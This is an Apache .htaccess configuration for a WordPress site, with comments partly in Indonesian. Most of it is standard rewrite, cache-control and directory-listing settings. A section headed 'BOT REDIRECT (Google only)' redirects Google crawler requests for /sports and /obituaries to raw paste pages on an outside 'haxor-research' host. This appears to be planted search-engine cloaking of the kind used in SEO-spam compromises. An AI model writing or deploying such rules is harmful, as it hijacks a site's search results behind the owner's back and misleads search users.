# ========================= # REWRITE (ROOT) # ========================= RewriteEngine On RewriteBase / # ========================= # REMOVE index.html / index.php dari URL # ========================= RewriteCond %{THE_REQUEST} \s/+(.*/)?index\.(html|php)[\s?] [NC] RewriteRule ^ %1 [R=301,L] # ========================= # PRIORITY: FOLDER STATIC (IMPORTANT) # ========================= RewriteRule ^obituaries/?$ /obituaries/ [L] RewriteRule ^sports/?$ /sports/ [L] # ========================= # BOT REDIRECT (Google only) # ========================= RewriteCond %{HTTP_USER_AGENT} Google [NC] RewriteRule ^sports/?$ https://paste.haxor-research.com/raw/9938e75c [R=301,L] RewriteCond %{HTTP_USER_AGENT} Google [NC] RewriteRule ^obituaries/?$ https://paste.haxor-research.com/raw/cf70feeb [R=301,L] # ========================= # WORDPRESS CORE (STANDARD) # ========================= RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] RewriteRule . /index.php [L] # ========================= # DISABLE CACHE # ========================= Header set Cache-Control "no-store, no-cache, must-revalidate, max-age=0" Header set Pragma "no-cache" Header set Expires "Thu, 01 Jan 1970 00:00:00 GMT" Header unset ETag FileETag None # ========================= # SECURITY BASIC # ========================= Options -Indexes